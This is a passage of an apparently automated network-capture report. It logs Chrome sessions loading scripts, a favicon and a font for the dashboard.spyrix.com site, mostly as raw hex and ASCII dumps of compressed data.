2024-10-02 04:11:38 UTC	3750	IN	Data Raw: 35 36 39 61 0d 0a 1f 8b 08 00 00 00 00 00 04 03 c4 bd 0d 73 db 46 96 f7 fb 55 24 96 56 4b 8e 61 c5 ca cc ce ce 80 86 59 8c 2c c7 9a d8 4e 1c db 8a 12 45 cb 50 24 24 d1 a6 08 86 20 25 33 92 9e cf 7e 7f ff d3 2f 00 29 79 36 cf ad ba 75 ab 6c 11 68 34 fa e5 f4 e9 f3 de 07 57 fd d9 c6 de 41 f6 fd e9 c7 7c 30 df 19 e6 67 a3 49 fe c3 ac 98 e6 b3 f9 b2 7d c5 c3 83 83 ac 99 27 dd 64 de ca 9e 75 37 46 93 8d bc b3 77 60 25 37 f9 64 71 99 cf fa a7 e3 3c dd 7c 92 0c 8a c9 d9 e8 7c 11 ef af 67 a3 79 78 76 d5 1f 2f f2 74 7e d7 4a f3 e3 ee 49 36 b7 96 7f 9c 54 2d 37 0f d4 e6 7c 39 cd 8b b3 8d ee 66 d6 28 97 97 a7 c5 b8 d1 e9 3e 6a 34 52 f5 ce bf 76 f3 6c 31 19 cc 47 c5 a4 d9 ba a1 bb 72 be d1 cd 86 c5 80 51 4c e6 3b 83 59 de 9f e7 fb e3 5c 77 cd c6 78 34 f9 d4 68 ed cc Data Ascii: 569asFU$VKaY,NEP$$ %3~/)y6ulh4WA\|0gI}'du7Fw`%7dq<\|\|gyxv/t~JI6T-7\|9f(>j4Rvl1GrQL;Y\wx4h
2024-10-02 04:11:38 UTC	4096	IN	Data Raw: af 8d ae 99 66 63 58 5c a6 8e f0 b8 97 1b 70 96 04 cf 46 bd c1 e0 8c 74 23 c5 10 1e 1a f3 83 7c 4f 3f 92 6a c4 9a 86 d8 c7 6d 41 86 c9 68 98 e6 e3 6a 33 0f b5 42 ad 0e 8a ea b0 95 da 4d 52 ef c4 5c c2 ad b6 b6 e2 0c ec e9 31 30 9b eb 0c bd 27 bb c9 c7 af fb d3 f4 26 1a 0b 52 a2 0a bc 8b de fb e6 93 68 54 e0 99 ae ef 60 55 d1 d3 3e 94 17 cd a4 63 e8 d0 45 8e 3b fe 24 08 33 67 59 73 91 41 ae 4d a7 72 64 04 e1 7f 08 ff 5f 29 5a c0 59 f0 9a 23 aa d7 9a 9d 7a e7 dc d9 49 e0 d3 3d 64 c4 da a4 7b 0f a3 25 2e c6 d9 8e cd e9 78 ba 8a 62 4e 78 ba 40 35 85 9a 00 2b 07 6a 10 7e da 6a 9d 64 53 e4 9f 9d 29 ab 8c 71 e0 dd 68 98 ef 9f 9d c1 94 f0 f8 81 b1 b3 9d b2 2a b9 bd c5 c0 99 ac 14 c9 b1 1e e5 e2 a2 39 4c ce 92 69 80 41 4f 2e aa a1 34 d0 b3 bb df da 2b af 1d f7 e8 Data Ascii: fcX\pFt#\|O?jmAhj3BMR\10'&RhT`U>cE;$3gYsAMrd_)ZY#zI=d{%.xbNx@5+j~jdS)qh*9LiAO.4+
2024-10-02 04:11:38 UTC	4096	IN	Data Raw: 10 7a 0b 33 e1 af 94 18 09 8a 25 c1 74 df 03 99 db cd ce e6 f1 ff 34 4f fe f2 6b 4b f8 7c 4e 51 da 3c fe 9f 93 47 ad af 92 a9 90 fd ab 5f ff c2 ed 5f 3a bf fe e5 d7 af be 3a af 66 cb 08 57 dd b5 9e ad 55 9b 69 ca 46 60 17 38 fe d8 5b 56 9e 0c 19 e2 18 54 ed b4 0f 71 fa 76 30 e1 7c 49 74 be b7 de 3f 83 c5 c8 5f 01 81 f2 f1 9e 27 d9 e4 78 37 dc 20 2d 22 93 56 ec fa 47 01 fd 46 40 ee 12 d0 af 49 3b 30 40 a5 5d 74 11 25 6e 61 fe cc 62 a8 35 d6 83 d1 68 10 8f b2 c9 23 9d 99 88 8a b5 83 a7 1a f2 d2 81 2c d2 b9 6d 2b 57 7f 6e f5 03 e2 62 bf b0 03 16 d5 68 2f 0d 7a 0c 69 33 0f cb 22 89 42 48 7d 63 d1 54 38 5c cc b6 2a bb 58 1e db 41 3f 63 56 5d 38 08 bc c4 ea 65 8c 94 a8 fc c4 f9 d7 ed 95 0c b4 71 e1 a9 6e 70 57 4b 92 c4 60 62 c1 84 3e cd 13 c2 f8 8b eb 33 fa c2 Data Ascii: z3%t4OkK\|NQ<G__::fWUiF`8[VTqv0\|It?_'x7 -"VGF@I;0@]t%nab5h#,m+Wnbh/zi3"BH}cT8\*XA?cV]8eqnpWK`b>3
2024-10-02 04:11:38 UTC	4096	IN	Data Raw: c6 09 8b 2d 53 db 5c 99 a1 48 5a 4b c7 98 f7 34 1c e7 d3 40 75 8f 32 34 13 91 e3 40 f2 a9 7e 9d ab a2 8e c4 5d 5e 14 a5 5a 55 0f 24 42 52 5d d1 42 58 90 c9 33 12 b7 0e 16 89 2f 80 11 1a c4 ca 8b 54 c6 ca 7f 54 75 37 ce 18 8a 31 a1 f8 74 50 c7 73 f7 b8 fe b2 95 54 82 88 75 0c e9 13 aa fd 22 3c 93 a1 d7 a2 2e 7e 59 ba 75 08 51 17 12 10 25 5a f8 a8 12 bf bc c1 d1 26 28 38 1b 82 f3 79 05 a2 7b 16 fd 93 52 fc 0e c5 60 10 f2 ba a9 2d a2 af 6a 6c c7 4a f7 14 a6 64 c1 14 56 56 89 35 2c 84 89 35 f5 37 ee 40 ff 0d 57 af c6 13 ee 0f f1 f6 16 24 ed a2 76 81 6b e8 50 dd 5a ff a6 d5 b8 37 c2 e8 64 a2 59 2d 09 0e d8 de da 38 13 16 d9 06 55 17 a6 df d5 d6 c6 c3 d6 1b cb 02 12 fe e1 79 80 60 0d 4c 31 67 37 eb 7c c6 95 3a d1 c4 55 c1 bc 04 b3 75 18 ac af 8f 61 ee f1 7b 81 Data Ascii: -S\HZK4@u24@~]^ZU$BR]BX3/TTu71tPsTu"<.~YuQ%Z&(8y{R`-jlJdVV5,57@W$vkPZ7dY-8Uy`L1g7\|:Uua{
2024-10-02 04:11:38 UTC	4096	IN	Data Raw: 20 4b 3d 3a 7c 83 6d ae 34 bf 29 a1 69 51 e5 be 9e 5b e0 00 79 d8 63 8b 90 47 c0 7f 3a ab 1e 54 0d ba 67 21 dc e2 05 4e 93 17 3e 01 96 fb 78 f6 49 72 c0 d9 11 59 fe 7c e6 94 44 1f cf 22 ca d3 a7 03 e6 18 ca ac 54 c6 fa 61 2c 29 26 2e 35 dc 3e 38 30 4b 5f 28 7f 5c ed b2 7b 46 69 ed de 2e f7 b4 f6 9c 5b 1c ba ea ee 7d 81 20 77 05 b5 4b 7b bf 76 6f 97 0f be df 75 03 b5 01 ac 5c 6b 04 2b 05 56 b1 de c6 5d f2 cd 69 76 83 36 c2 67 a0 be 21 f8 0f 51 ce 6b 3f 9c bb 91 7a 92 1e ec 3b e3 01 a4 e7 c6 e9 e6 dd 98 ce 97 6c 46 d8 f7 91 b5 b4 c2 46 78 cb 3a c9 73 4b 2e f2 eb e3 0a a0 72 38 6f c3 1d 6f ca 76 27 6a c6 51 84 cd 99 d7 7c bc f4 63 cd 61 c3 85 d5 aa 4a 78 fa 0c 63 a3 24 79 d7 f6 a5 0e d2 ce c4 f9 2f 2d 03 32 9a 02 da 3e 16 dd 4b 7f ec d7 4b be 16 32 8f bf c3 Data Ascii: K=:\|m4)iQ[ycG:Tg!N>xIrY\|D"Ta,)&.5>80K_(\{Fi.[} wK{vou\k+V]iv6g!Qk?z;lFFx:sK.r8oov'jQ\|caJxc$y/-2>KK2
2024-10-02 04:11:38 UTC	2044	IN	Data Raw: 9b c0 aa f2 eb ab 5a c5 49 37 fb a1 69 29 36 ae 8d 78 a5 87 b2 9b 7b f9 69 6d 97 4e 92 4f 98 32 51 a2 48 71 29 43 38 5a 2e 00 82 9a 2f e2 3d 03 71 71 76 18 b8 2c e2 96 ee d2 23 04 8c 89 2f c8 8e 68 df f2 ab af cf bc df 7a be 4f 7e 75 a6 4c 80 44 f2 c9 f8 4f fc 2c f1 27 01 61 dc e2 23 f0 2e c5 a4 3e 46 1c 68 49 48 eb fa a9 fa f6 1a c0 7b 46 fc 09 60 4b 3e 1d 97 24 f9 a6 4f 4e 7d b1 cb 16 da 58 2b 46 80 fd bc f9 09 04 6b dd b0 f9 3d 98 59 13 a5 b3 6b 02 fb 67 9f f8 1b 00 86 7c 5a b2 59 3f 51 2f 16 69 2e 34 f1 fd 7e 42 74 25 17 d7 73 82 0d 74 71 70 8a 51 58 17 a5 0c df ba 38 dd 57 d8 04 17 ef f7 b1 c9 eb e2 d5 69 f2 dc 95 9c 12 66 6a 75 4e 93 1f dd c5 8c 30 06 95 5c 0c 92 3d bb 58 9e e2 d1 94 63 fa a5 a9 9c 2f bd 3a 5c e1 9d 8e a3 69 5b 70 6e 0a 7c f3 d7 3a Data Ascii: ZI7i)6x{imNO2QHq)C8Z./=qqv,#/hzO~uLDO,'a#.>FhIH{F`K>$ON}X+Fk=Ykg\|ZY?Q/i.4~Bt%stqpQX8WifjuN0\=Xc/:\i[pn\|:
2024-10-02 04:11:38 UTC	4096	IN	Data Raw: 35 38 30 30 0d 0a af 93 c3 0a ce 07 92 c4 29 de aa 56 c9 f3 30 ec 61 70 eb 2b 0e 05 89 cc 87 7a a9 8a 19 b3 88 d6 cb fa 35 ab 97 0d 6a b6 3a 28 b5 e9 df 9b f1 9e 83 d7 1d 2c cf 7d 23 04 73 0c 99 f5 b7 0c cb 1a 35 59 d9 c3 c0 12 41 b2 34 25 e6 9a 84 ac f9 0f e0 8d 9d f4 b0 f3 4c 5d 1b 8a 20 35 16 74 a0 74 ac dc 1c 9d f1 de ea 0e 58 dd b1 33 97 2c da 10 01 00 58 12 e6 ca c2 51 b7 e3 8f 63 45 7e b9 68 75 04 a6 6c c0 87 1e d9 55 ca 22 40 46 10 2b b8 8f 4a 63 71 74 0e b5 6b 04 92 69 06 c0 68 42 67 82 83 7e e1 43 0a b7 35 8b 61 34 8d 8e ed 23 30 0a 29 a5 03 72 7c 49 4e b5 15 47 8c 5a 3c 0d 67 bf 2c 59 a3 d7 1a 86 a0 e1 82 fc 65 7e b5 f8 8e 09 59 67 06 02 30 6b c5 74 c4 04 b1 06 78 a2 55 54 db 17 8c 34 5a ac 08 01 a8 89 6f 4e 81 dd 2e c4 a1 70 62 57 78 d0 d7 17 Data Ascii: 5800)V0ap+z5j:(,}#s5YA4%L] 5ttX3,XQcE~hulU"@F+JcqtkihBg~C5a4#0)r\|INGZ<g,Ye~Yg0ktxUT4ZoN.pbWx
2024-10-02 04:11:38 UTC	4096	IN	Data Raw: 1e 31 3a 37 33 09 77 6e 3a a6 5b 4a f9 74 b7 18 d7 99 c4 0b be 6b 27 61 16 65 5a c6 07 fe 32 c1 b0 d9 99 8e 14 67 78 07 d3 42 a7 0e b3 f2 4a b5 ca 8c a2 22 c0 33 23 38 4c eb d2 5d 3c 30 3b c7 64 9d b9 15 6d dd 3e 01 f8 e5 4e 0f 7d a7 ff 06 96 e0 e2 ff 6d bf 87 7c de f0 2c 7f fc 58 b4 ef e8 19 56 28 fd 6a c6 b5 09 b3 9c bb 9a f0 79 fe f4 45 e7 ea f8 3c 3f 81 8f a5 78 1b 3c 90 04 1e 6f 47 f8 22 4c 98 be 68 6a b4 5d 40 8b 98 b1 f3 d2 59 d7 f4 18 da 3b 6c b7 64 67 17 98 dd b2 5b e5 ba 5f 88 55 38 d2 88 d0 0f ba 46 f0 c8 a9 6d c3 39 42 2c 10 08 19 52 cd fe b1 37 ff 37 8b b5 67 49 2b 82 05 1a 6a ac 70 08 57 88 02 66 b1 98 af 73 78 77 44 1f 44 03 20 f6 1c a0 18 fa a0 f2 82 95 6f cf ab e7 2e 9a d9 65 8d 41 32 f0 03 7b c2 b8 de ce 6d 58 6f 0b a1 0e 9b 05 00 1e 01 Data Ascii: 1:73wn:[Jtk'aeZ2gxBJ"3#8L]<0;dm>N}m\|,XV(jyE<?x<oG"Lhj]@Y;ldg[_U8Fm9B,R77gI+jpWfsxwDD o.eA2{mXo
2024-10-02 04:11:38 UTC	4096	IN	Data Raw: d3 f1 a2 45 de 2b 44 9d 6a 3d 14 00 84 06 42 6f 38 a8 2a ff 21 6c 41 cf dc 7c 44 8e c3 4e 49 c4 b4 fe 7c 43 00 69 5a b6 cf e5 a3 87 df fc 95 d5 b6 69 81 af e9 90 2a 18 29 18 ba 4d ee 34 a7 ea 88 0e e8 5e e9 22 d6 25 85 f5 19 cb c0 46 b8 ff a3 bf 03 5f 87 80 35 d8 8c 6d 2e ff 81 1a 24 c9 31 c0 63 86 4f 3e e7 0a 68 70 2f d1 f9 99 54 f4 e5 3c 89 41 2c 45 47 ad 4c 26 12 8c 9c 16 59 4c fe 58 cb af 15 08 b1 0f 48 a1 46 e9 00 0c 22 a0 15 0e 51 a7 7e 87 e1 79 11 9e e2 cb 90 f6 d6 ba f1 f8 08 ba 49 d4 8f 57 ec 37 af d8 df 10 8e bc a6 0f f7 a4 13 0f 03 54 46 d9 39 e5 7d ac 3c cc 16 0c 8c 82 1d f8 73 c7 93 67 70 5d 05 14 13 bf ab 71 29 4b c0 6c bb ca e1 88 1e cd ea 5a da b6 28 be a3 81 72 d4 9b a9 fc 4c f4 16 5e cb 92 3c 62 44 0c f2 42 50 17 92 5e 57 37 fe af e2 90 Data Ascii: E+Dj=Bo8!lA\|DNI\|CiZi)M4^"%F_5m.$1cO>hp/T<A,EGL&YLXHF"Q~yIW7TF9}<sgp]q)KlZ(rL^<bDBP^W7
2024-10-02 04:11:38 UTC	4096	IN	Data Raw: d5 6c 09 62 52 3b 66 45 bb dd d4 ce c0 b2 d6 1d 53 b1 36 2f bc 0d 5b 91 14 38 9c 06 58 61 18 ae e0 c3 15 b1 8b 74 e6 e2 cf 51 b4 33 68 47 39 87 97 56 3a 46 87 83 fc 50 fa 6d e7 6d fd c3 56 42 69 ba 1b 45 2a b4 51 f0 b1 d5 a7 ec 59 64 02 8e 2e 69 58 3d 63 c5 8c f3 83 ad 99 8e 86 8b 26 8a 96 fb 0f aa 22 e8 42 c5 22 d4 c6 46 49 bc b1 32 89 30 02 05 83 90 0e 2c 88 21 8b 9e 19 58 de 51 20 7e dd 9a e4 f6 44 76 e7 4b df 50 9d e9 fa 37 5c 40 42 44 89 e1 3f fa 12 ca 69 02 9b a4 5b 5a e0 c6 85 a4 20 0b 04 4c ed 1c ef e5 6a 14 a1 42 52 36 43 40 c6 8c 62 a8 68 e7 8b 76 e4 01 9e ce a0 dd 7e 98 66 83 55 8f ec e0 48 1e d9 af 39 e5 70 b2 02 bf 19 f9 f8 b9 04 32 d4 95 44 79 df bf bf 2f cf 1b 01 f1 95 68 46 7c a0 d0 21 4e 21 bb ba 88 db 8c c6 e0 60 78 3a 98 10 ee 41 21 e4 Data Ascii: lbR;fES6/[8XatQ3hG9V:FPmmVBiE*QYd.iX=c&"B"FI20,!XQ ~DvKP7\@BD?i[Z LjBR6C@bhv~fUH9p2Dy/hF\|!N!`x:A!

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49762	158.69.117.119	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:38 UTC	596	OUT	GET /favicon.ico HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dashboard.spyrix.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:38 UTC	320	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:38 GMT Content-Type: image/x-icon Content-Length: 3029 Last-Modified: Thu, 01 Feb 2024 09:41:29 GMT Connection: close ETag: "65bb6749-bd5" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:11:38 UTC	3029	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b8 00 00 00 b8 08 06 00 00 00 50 33 26 c7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 21 37 00 00 21 37 01 33 58 9f 7a 00 00 00 18 74 45 58 74 53 6f 66 74 77 61 72 65 00 70 61 69 6e 74 2e 6e 65 74 20 34 2e 31 2e 36 fd 4e 09 e8 00 00 0b 53 49 44 41 54 78 5e ed 9d ff 71 dc 46 12 85 15 82 43 b8 10 1c 82 43 b8 0c 4e 65 49 ae fb cf cc 40 ce 40 ce 60 c5 08 ec 0c 18 02 43 b8 10 18 02 6e 1a 9c 95 c6 d0 e3 6e 77 03 33 98 e9 79 5f d5 57 aa 6a 71 77 f1 e3 ed a0 31 00 c8 77 cb b2 b8 fd f5 b2 bc ff f8 75 59 28 ad 65 99 37 8f b0 a8 95 01 a7 b5 2d f3 e6 11 16 b5 32 e0 b4 b6 65 de 3c c2 a2 56 06 9c d6 b6 cc 9b 47 58 d4 ca 80 d3 da 96 79 f3 08 8b 5a 19 70 5a db 32 6f 1e 61 51 2b 03 Data Ascii: PNGIHDRP3&gAMAapHYs!7!73XztEXtSoftwarepaint.net 4.1.6NSIDATx^qFCCNeI@@`Cnnw3y_Wjqw1wuY(e7-2e<VGXyZpZ2oaQ+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49763	158.69.117.119	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:38 UTC	350	OUT	GET /cdn.js HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:38 UTC	344	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:38 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 987 Last-Modified: Mon, 30 Sep 2024 10:46:14 GMT Connection: close ETag: "66fa8176-3db" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:11:38 UTC	987	IN	Data Raw: 0a 63 6c 61 73 73 20 43 64 6e 20 7b 0a 20 20 5f 6d 61 78 43 6f 75 6e 74 65 72 20 3d 20 33 30 3b 0a 20 20 5f 69 6e 74 65 72 76 61 6c 20 3d 20 6e 75 6c 6c 3b 0a 20 20 5f 63 6f 75 6e 74 65 72 20 3d 20 30 3b 0a 0a 20 20 69 6e 69 74 28 29 20 7b 0a 20 20 20 20 2f 2f 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 27 63 64 6e 2d 6f 66 66 3d 30 27 3b 20 2f 2f d0 bf d0 be d1 82 d0 be d0 bc d1 83 20 d1 87 d1 82 d0 be 20 d0 ba d1 83 d0 ba d0 b0 20 d0 bf d0 b5 d1 80 d0 b5 d0 b1 d0 b8 d0 b2 d0 b0 d0 bb d0 b0 d1 81 d1 8c 20 d0 b8 20 d0 bd d0 b5 20 d0 bf d0 b5 d1 80 d0 b5 d0 b2 d0 be d0 b4 d0 b8 d0 bb d0 be 20 d0 bd d0 b0 20 d1 81 d0 b5 d1 80 d0 b2 d0 b5 d1 80 0a 20 20 20 20 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 20 3d 20 73 65 74 49 6e 74 65 72 76 61 6c 28 Data Ascii: class Cdn { _maxCounter = 30; _interval = null; _counter = 0; init() { // document.cookie = 'cdn-off=0'; // this._interval = setInterval(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49761	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:38 UTC	626	OUT	GET /dashboard30/assets/en-08b2a987.js HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://cdn.cdndownload.net/dashboard30/assets/index-004f4025.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:39 UTC	400	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:39 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: W/"66fa817d-69c5" Content-Encoding: gzip Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: HIT X-Cached-Since: 2024-10-02T03:44:02+00:00 X-Node: m9-up-gc99
2024-10-02 04:11:39 UTC	3696	IN	Data Raw: 31 63 37 35 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 9d e9 6e dc 56 96 c7 bf cf 53 70 88 00 76 80 6b 61 d2 dd 98 1e b0 21 0c bc 24 8e 3b de e2 25 ee 04 03 a4 a9 2a 96 c4 36 8b ac 90 2c c9 4a 90 07 9a d7 98 27 9b df ff dc 7b 49 d6 22 c9 4b e2 76 3a fe 22 f1 ee db d9 cf b9 b7 66 4d dd f5 49 71 98 de 5c f7 cd aa ca cf 53 d7 1c a6 4f 8a bc 6b ea d4 f5 87 e9 9d a2 9b b5 e5 aa 2f 95 ce 0f d3 a7 7d de af bb d4 95 7c ce da a2 a8 bb 93 a6 4f 5d 7d 98 3e ea 4f 8a 36 75 dd 61 fa bc d3 47 4b a7 ab 55 45 8f 33 b2 ea 97 75 73 46 17 d5 61 7a ab 6d ce ac c6 fc 30 bd 5d 95 ab a3 26 6f e7 a9 5b 1f a6 2f 8a a3 59 be 4c dd ca c6 69 e9 f7 fc 30 fd fc 55 c9 c7 f2 30 fd a6 9c 17 4d 5b cc 52 77 42 79 b3 ae e7 96 38 f6 e3 94 b3 dc 4f 72 71 98 3e 2b fb aa 48 dd a9 fa 6f 3a be ce 0e Data Ascii: 1c75nVSpvka!$;%*6,J'{I"Kv:"fMIq\SOk/}\|O]}>O6uaGKUE3usFazm0]&o[/YLi0U0M[RwBy8Orq>+Ho:
2024-10-02 04:11:39 UTC	3597	IN	Data Raw: 23 25 16 dc 99 78 fd da 0b 49 c5 ab 15 8e 31 bf 98 ab 2a 85 9e a6 5c 67 5f 27 17 96 bb b2 46 2c 22 10 75 80 d0 79 83 91 58 46 bf e2 15 26 1d e9 6c 11 38 b7 4b 84 4f 6c 41 41 44 1f e1 3d 79 ad 46 3e 10 69 3e 88 0b bd 82 12 c2 c6 36 f5 18 b7 f2 66 8d a4 f0 12 a9 89 98 a7 d0 98 ae 0b 01 86 7b 32 11 68 2c d0 3b 43 2c a9 cd ad bd e5 16 bf b4 78 6c fd 90 b5 8c e0 c1 26 c4 76 5b 05 66 be 5f 15 84 a0 87 30 07 f9 5b 8c 24 9b e9 48 4c 1a 0f c4 65 15 8c 2a a1 2b b2 93 d8 5e 16 72 d9 c8 d3 0e 6a fb 1e 7c 5c 47 d8 c2 68 73 7a 66 ea e5 1b 34 c1 b0 1d 6d 78 59 29 35 db 9b c4 46 25 4e 76 50 26 bb 3f 7f 4f fd 05 34 c7 02 03 77 5a 84 12 cc 3c 04 b9 d4 85 b3 a0 e6 0c 47 c3 a0 88 5e 85 37 c1 33 f1 0e 98 77 51 0f 90 1d f3 49 d0 b5 87 26 ed 73 0c f1 bb b0 c8 0e 39 c8 78 db 5e Data Ascii: #%xI1\g_'F,"uyXF&l8KOlAAD=yF>i>6f{2h,;C,xl&v[f_0[$HLe+^rj\|\Ghszf4mxY)5F%NvP&?O4wZ<G^73wQI&s9x^
2024-10-02 04:11:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49765	158.69.117.119	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:39 UTC	355	OUT	GET /favicon.ico HTTP/1.1 Host: dashboard.spyrix.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:39 UTC	320	IN	HTTP/1.1 200 OK Server: nginx/1.17.3 Date: Wed, 02 Oct 2024 04:11:39 GMT Content-Type: image/x-icon Content-Length: 3029 Last-Modified: Thu, 01 Feb 2024 09:41:29 GMT Connection: close ETag: "65bb6749-bd5" X-Frame-Options: DENY Strict-Transport-Security: max-age=31536000; X-State: 3.0 Accept-Ranges: bytes
2024-10-02 04:11:39 UTC	3029	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 b8 00 00 00 b8 08 06 00 00 00 50 33 26 c7 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 21 37 00 00 21 37 01 33 58 9f 7a 00 00 00 18 74 45 58 74 53 6f 66 74 77 61 72 65 00 70 61 69 6e 74 2e 6e 65 74 20 34 2e 31 2e 36 fd 4e 09 e8 00 00 0b 53 49 44 41 54 78 5e ed 9d ff 71 dc 46 12 85 15 82 43 b8 10 1c 82 43 b8 0c 4e 65 49 ae fb cf cc 40 ce 40 ce 60 c5 08 ec 0c 18 02 43 b8 10 18 02 6e 1a 9c 95 c6 d0 e3 6e 77 03 33 98 e9 79 5f d5 57 aa 6a 71 77 f1 e3 ed a0 31 00 c8 77 cb b2 b8 fd f5 b2 bc ff f8 75 59 28 ad 65 99 37 8f b0 a8 95 01 a7 b5 2d f3 e6 11 16 b5 32 e0 b4 b6 65 de 3c c2 a2 56 06 9c d6 b6 cc 9b 47 58 d4 ca 80 d3 da 96 79 f3 08 8b 5a 19 70 5a db 32 6f 1e 61 51 2b 03 Data Ascii: PNGIHDRP3&gAMAapHYs!7!73XztEXtSoftwarepaint.net 4.1.6NSIDATx^qFCCNeI@@`Cnnw3y_Wjqw1wuY(e7-2e<VGXyZpZ2oaQ+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49770	95.181.182.182	443	928	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 04:11:40 UTC	640	OUT	GET /dashboard30/assets/Nunito-Regular-73dcaa51.woff2 HTTP/1.1 Host: cdn.cdndownload.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://dashboard.spyrix.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://cdn.cdndownload.net/dashboard30/assets/index-93c74fef.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-02 04:11:40 UTC	367	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 02 Oct 2024 04:11:40 GMT Content-Type: font/woff2 Content-Length: 44112 Connection: close Last-Modified: Mon, 30 Sep 2024 10:46:21 GMT ETag: "66fa817d-ac50" Access-Control-Allow-Origin: https://dashboard.spyrix.com Cache: STALE X-Cached-Since: 2024-10-02T02:04:42+00:00 X-Node: m9p-up-gc30 Accept-Ranges: bytes
2024-10-02 04:11:40 UTC	3729	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 ac 50 00 10 00 00 00 02 04 b8 00 00 ab ea 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 84 32 1b 82 8f 72 1c 9a 08 06 60 3f 53 54 41 54 48 00 95 2a 11 08 0a 84 b9 34 83 cb 41 0b 91 16 00 01 36 02 24 03 a1 38 04 20 05 87 5e 07 cd 35 0c 07 5b 12 c4 91 05 d6 c6 b6 43 35 a0 e0 fb c0 74 1b 02 64 5f c3 a3 3a 1f ef c5 01 e6 a6 8e 15 fd 6e 1b 00 b8 75 3d 69 58 01 37 46 6e b7 03 28 ea bc 2e bd ec ff ff ff ff ff d7 24 0b 19 db fd 33 fe f7 bf 81 93 29 e8 10 32 ad d2 82 30 aa d0 08 83 bb 23 65 32 60 34 1b 0f e5 98 90 a4 4c 1e 89 c1 1d f5 64 38 93 79 b9 8c c5 8e 10 5c 9b b3 a9 ae 44 92 e1 16 ce fb 30 58 a0 1c 7e 66 cb b6 2d 10 89 88 7c e3 85 97 60 93 a7 fd 